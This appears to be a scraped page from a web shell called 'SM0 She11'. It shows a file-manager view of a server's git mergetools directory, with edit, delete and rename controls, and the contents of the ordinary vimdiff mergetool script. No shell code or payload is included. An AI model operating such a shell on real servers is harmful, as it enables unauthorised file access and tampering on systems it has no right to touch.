SM0 She11

Path: / / usr / libexec / git-core / mergetools

Full Path (server): /usr/libexec/git-core/mergetools

Create Fil3

Upl04d Fil3

• 📄 araxis [E] [D]
  [R]
• 📄 bc3 [E] [D]
  [R]
• 📄 codecompare [E] [D]
  [R]
• 📄 deltawalker [E] [D]
  [R]
• 📄 diffuse [E] [D]
  [R]
• 📄 ecmerge [E] [D]
  [R]
• 📄 emerge [E] [D]
  [R]
• 📄 gvimdiff [E] [D]
  [R]
• 📄 gvimdiff2 [E] [D]
  [R]
• 📄 kdiff3 [E] [D]
  [R]
• 📄 kompare [E] [D]
  [R]
• 📄 meld [E] [D]
  [R]
• 📄 opendiff [E] [D]
  [R]
• 📄 tkdiff [E] [D]
  [R]
• 📄 tortoisemerge [E] [D]
  [R]
• 📄 vimdiff [E] [D]
  [R]
• 📄 vimdiff2 [E] [D]
  [R]
• 📄 xxdiff [E] [D]
  [R]

Editing: vimdiff

diff_cmd () { "$merge_tool_path" -R -f -d \ -c 'wincmd l' -c 'cd $GIT_PREFIX' "$LOCAL" "$REMOTE" } merge_cmd () { touch "$BACKUP" case "$1" in gvimdiff|vimdiff) if $base_present then "$merge_tool_path" -f -d -c 'wincmd J' \ "$MERGED" "$LOCAL" "$BASE" "$REMOTE" else "$merge_tool_path" -f -d -c 'wincmd l' \ "$LOCAL" "$MERGED" "$REMOTE" fi ;; gvimdiff2|vimdiff2) "$merge_tool_path" -f -d -c 'wincmd l' \ "$LOCAL" "$MERGED" "$REMOTE" ;; esac check_unchanged } translate_merge_tool_path() { case "$1" in gvimdiff|gvimdiff2) echo gvim ;; vimdiff|vimdiff2) echo vim ;; esac }
Save